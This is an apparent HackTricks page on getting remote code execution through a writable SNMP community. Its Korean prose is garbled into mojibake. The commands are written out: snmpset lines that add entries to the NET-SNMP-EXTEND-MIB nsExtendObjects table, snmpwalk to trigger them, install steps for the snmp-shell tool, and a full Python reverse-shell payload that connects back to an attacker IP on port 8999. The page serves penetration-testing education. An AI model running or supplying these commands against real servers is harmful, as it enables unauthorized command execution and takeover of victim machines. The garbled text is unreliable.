Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
SNMP RCE
SNMP๋ ๊ด๋ฆฌ์๊ฐ ์ฅ์น๋ ์๋ฒ์ ๊ธฐ๋ณธ ๊ตฌ์ฑ์ ๊ฐ๊ณผํ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์์ ์ํด ์ ์ฉ๋ ์ ์์ต๋๋ค. **์ฐ๊ธฐ ๊ถํ์ด ์๋ SNMP ์ปค๋ฎค๋ํฐ(rwcommunity)**๋ฅผ ์ ์ฉํ์ฌ Linux ์ด์ ์ฒด์ ์์ ๊ณต๊ฒฉ์๋ ์๋ฒ์์ ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค.
์ถ๊ฐ ๋ช ๋ น์ผ๋ก ์๋น์ค ํ์ฅ
SNMP ์๋น์ค๋ฅผ ํ์ฅํ๊ณ ์ถ๊ฐ ๋ช
๋ น์ ์ถ๊ฐํ๋ ค๋ฉด โnsExtendObjectsโ ํ
์ด๋ธ์ ์๋ก์ด ํ์ ์ถ๊ฐํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค. ์ด๋ snmpset ๋ช
๋ น์ ์ฌ์ฉํ๊ณ ์คํํ ์คํ ํ์ผ์ ์ ๋ ๊ฒฝ๋ก์ ์คํํ ๋ช
๋ น์ ํฌํจํ ํ์ํ ๋งค๊ฐ๋ณ์๋ฅผ ์ ๊ณตํจ์ผ๋ก์จ ๋ฌ์ฑํ ์ ์์ต๋๋ค:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
๋ช ๋ น์ด ์ฃผ์ ์คํ
SNMP ์๋น์ค์์ ์คํํ ๋ช
๋ น์ด๋ฅผ ์ฃผ์
ํ๋ ค๋ฉด ํธ์ถ๋ ๋ฐ์ด๋๋ฆฌ/์คํฌ๋ฆฝํธ์ ์กด์ฌ์ ์คํ ๊ฐ๋ฅ์ฑ์ด ํ์ํฉ๋๋ค. **NET-SNMP-EXTEND-MIB**๋ ์คํ ํ์ผ์ ์ ๋ ๊ฒฝ๋ก๋ฅผ ์ ๊ณตํ ๊ฒ์ ์๊ตฌํฉ๋๋ค.
์ฃผ์
๋ ๋ช
๋ น์ด์ ์คํ์ ํ์ธํ๊ธฐ ์ํด snmpwalk ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ SNMP ์๋น์ค๋ฅผ ์ด๊ฑฐํ ์ ์์ต๋๋ค. ์ถ๋ ฅ์ ๋ช
๋ น์ด์ ๊ด๋ จ๋ ์ธ๋ถ์ ๋ณด๋ฅผ ํ์ํ๋ฉฐ, ์ ๋ ๊ฒฝ๋ก๋ฅผ ํฌํจํฉ๋๋ค:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
์ฃผ์ ๋ ๋ช ๋ น ์คํ
์ฃผ์
๋ ๋ช
๋ น์ด ์ฝํ๋ฉด ์คํ๋ฉ๋๋ค. ์ด ๋์์ **run-on-read()**๋ก ์๋ ค์ ธ ์์ต๋๋ค. ๋ช
๋ น์ ์คํ์ snmpwalk ์ฝ๊ธฐ ์ค์ ๊ด์ฐฐํ ์ ์์ต๋๋ค.
SNMP๋ก ์๋ฒ ์ ธ ์ป๊ธฐ
์๋ฒ๋ฅผ ์ ์ดํ๊ณ ์๋ฒ ์ ธ์ ์ป๊ธฐ ์ํด mxrch๊ฐ ๊ฐ๋ฐํ ํ์ด์ฌ ์คํฌ๋ฆฝํธ๋ฅผ https://github.com/mxrch/snmp-shell.git์์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
๋๋ ํน์ ๋ช ๋ น์ SNMP์ ์ฃผ์ ํ์ฌ ์๋์ผ๋ก ๋ฆฌ๋ฒ์ค ์ ธ์ ์์ฑํ ์ ์์ต๋๋ค. ์ด ๋ช ๋ น์ snmpwalk์ ์ํด ํธ๋ฆฌ๊ฑฐ๋์ด ๊ณต๊ฒฉ์์ ๋จธ์ ์ ๋ฆฌ๋ฒ์ค ์ ธ ์ฐ๊ฒฐ์ ์ค์ ํ์ฌ ํผํด์ ๋จธ์ ์ ๋ํ ์ ์ด๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ์ด๊ฒ์ ์คํํ๊ธฐ ์ํ ์ ์ ์กฐ๊ฑด์ ์ค์นํ ์ ์์ต๋๋ค:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
๋๋ ๋ฆฌ๋ฒ์ค ์ ธ:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
์ฐธ๊ณ ๋ฌธํ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


